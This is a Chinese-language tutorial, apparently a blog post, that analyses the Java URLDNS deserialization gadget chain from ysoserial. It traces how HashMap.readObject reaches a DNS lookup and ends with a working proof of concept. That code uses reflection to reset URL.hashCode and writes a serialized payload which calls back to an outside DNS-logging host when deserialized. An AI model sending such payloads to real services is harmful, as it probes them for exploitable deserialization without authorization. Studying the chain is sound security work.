ysoserial

根据不同的利用链生成命令可控的序列化数据

HashMap调用put触发DNS请求分析

首先我们编写一个hashmap

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.javasec.gadget;

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class urldns {
public static void main(String[]args) throws MalformedURLException {
URL url1 = new URL("https://1111.kngfrhti.requestrepo.com");
HashMap<Object, Object> map = new HashMap<>();
map.put(url1, "xxx");
}
}

仅仅只是做一个put url1对象的操作,运行后,发现直接就发起了DNS请求

image-20251117161059509

我们跟进一下为什么

跟进HashMap.put,第一个参数传入Java.net.URL对象url1

image-20251117162600663

put方法接收第一个参数key,即Java.net.URL对象,把他传入hash(key)

image-20251117162631678

跟进hash,key不为null则调用key.hashCode()

image-20251117162830807

key是Java.net.URL对象,于是跟进Java.net.URL.hashCode

image-20251117163515865

hashCode不为-1则 hashCode = handler.hashCode(this); this是我们的对象url1

把”https://1111.kngfrhti.requestrepo.com"传入handler.hashCode(),继续跟进handler.hashCode

image-20251117164620187

跟进,找到了getByName触发dns请求的方法

image-20251117164647567

image-20251118150455573

URLDNS链

既然是反序列化,那么就看HashMap类的readobject,因为反序列化时,触发dns请求的入口方法一定是HashMap类的readobject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {

ObjectInputStream.GetField fields = s.readFields();

// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);

lf = Math.clamp(lf, 0.25f, 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);

reinitialize();

s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
double dc = Math.ceil(mappings / (double)lf);
int cap = ((dc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(dc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)dc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

可以看到后面这行 putVal(hash(key), key, value, false, false),调用了hash方法,我们跟进

image-20251118143027422

然后调用URL类的hashCode方法

image-20251118143114292

然后是java net.URLStreamHandler.hashCode,跟进,调用java net.URLStreamHandler.getHostAddress

image-20251118143159278

再跟进,调用InetAddress.getByName,触发dns请求

image-20251118143303623

image-20251118150505975

于是我们编写demo,验证urldns链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.javasec.gadget;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class urldns {
public static void main(String[]args) throws IOException, ClassNotFoundException {
URL url1 = new URL("http://URLDNS.25e29b290c.ddns.1433.eu.org");
HashMap<Object, Object> map = new HashMap<>();
System.out.println("开始Put");
map.put(url1, "xxx");
System.out.println("Put结束");

ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("map.bin"));
oos.writeObject(map);

System.out.println("开始反序列化");
unser.test();
System.out.println("反序列化结束");
}
}

先注释反序列化的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.javasec.gadget;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class urldns {
public static void main(String[]args) throws IOException, ClassNotFoundException {
URL url1 = new URL("http://FromPut.25e29b290c.ddns.1433.eu.org");
HashMap<Object, Object> map = new HashMap<>();
System.out.println("开始Put");
map.put(url1, "xxx");
System.out.println("Put结束");

ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("map.bin"));
oos.writeObject(map);

// System.out.println("开始反序列化");
// unser.test();
// System.out.println("反序列化结束");
}
}

运行发现

image-20251118171443872

直接就触发了一次dns请求,但我们上面已经分析了put的调用流程,面对这就不会感到奇怪,因为单独只调用hashmap.put本来就会触发一次dns请求,上面已经分析过

image-20251118171506973

接下来我们提供反序列化来触发dns请求,取消代码注释

image-20251118171740100

按道理来说,应该出现两个dns请求对吧?一个来自put,第二个才是反序列化触发的

image-20251118171812702

但是很奇怪的是这里只有一次名为test的dns记录,到底是put触发的还是反序列化触发的呢?于是我们调试跟进分析下为什么

在关键位置下断,断住之后,这里步出后会发起dns请求,此时是put调用触发的

image-20251118173113752

image-20251118172532179

h返回171643618

image-20251118173211886

然后运行到URL.hashCode返回-1后,传入URLStreamHandler

image-20251118173311128

注意看这段逻辑

进入if判断,如果URL.hashCode不等于-1,则直接返回URL.hashCode

如果URL.hashCode=-1才会进入URLStreamHandler.handler.hashCode,才会触发DNS

我们添加一些调试信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.javasec.urldns;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void main(String[]args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
URL url1 = new URL("http://1.25e29b290c.ddns.1433.eu.org");
HashMap<Object, Object> map = new HashMap<>();
Field hashCodeField = url1.getClass().getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
System.out.println("Put之前--URL.hashCode:"+hashCodeField.get(url1));
map.put(url1, "xxx");
System.out.println("Put之后--URL.hashCode:"+hashCodeField.get(url1));

ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("map.bin"));
oos.writeObject(map);

System.out.println("反序列化之前--URL.hashCode:"+hashCodeField.get(url1));
unser.test();
System.out.println("反序列化之后--URL.hashCode:"+hashCodeField.get(url1));
}
}

image-20251118191838703

运行后触发一次DNS请求

可以看到put之前URL.hashCode=-1,于是才会进入URLStreamHandler.handler.hashCode,才会触发DNS

put之后URL.hashCode没有被还原为-1,而是171643618,于是当反序列化到达这里时直接就走了if分支,不再触发DNS,也就失去了URLDNS回显探测链的作用。怎么办呢?

我们只需要排除put触发的dns请求的干扰的前提下,再保证反序列化时能正常触发dns请求就行了

于是我们通过反射修改hashCode,在put之前修改为非-1,排除put发起dns请求的干扰

hashCodeField.set(url1,0) 设置的是内存中 URL 对象的 hashCode,但序列化时保存的是这个计算好的值。反序列化创建新对象时,HashMap 直接使用序列化时保存的 hashCode,不会重新计算。

正确的流程应该是:

  1. put 前设置 hashCode 为非 -1(避免立即 DNS)
  2. put 操作
  3. 序列化前重置 hashCode 为 -1
  4. 序列化保存的是”需要重新计算 hashCode”的状态
  5. 反序列化时 HashMap 会调用 hashCode() 方法触发 DNS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package org.javasec.urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception {
// 不要修改原始 URL 对象的 hashCode
URL url1 = new URL("http://urldns-test.25e29b290c.ddns.1433.eu.org");
HashMap<Object, Object> map = new HashMap<>();

Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);

System.out.println("初始 URL.hashCode: " + hashCodeField.get(url1)); // 应该是 -1

// 关键:先设置 hashCode 为一个非 -1 的值,避免 put 时触发 DNS
hashCodeField.set(url1, 1234);
System.out.println("设置后 URL.hashCode: " + hashCodeField.get(url1));

// 执行 put 操作
map.put(url1, "xxx");
System.out.println("Put之后 URL.hashCode: " + hashCodeField.get(url1));

// 关键:在序列化前将 hashCode 重置为 -1
hashCodeField.set(url1, -1);
System.out.println("序列化前 URL.hashCode: " + hashCodeField.get(url1));

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("map.bin"));
oos.writeObject(map);
oos.close();
System.out.println("序列化完成");

System.out.println("反序列化前 URL.hashCode: " + hashCodeField.get(url1));

// 反序列化 - 这会触发 DNS
unser.test();

System.out.println("反序列化后 URL.hashCode: " + hashCodeField.get(url1));
}
}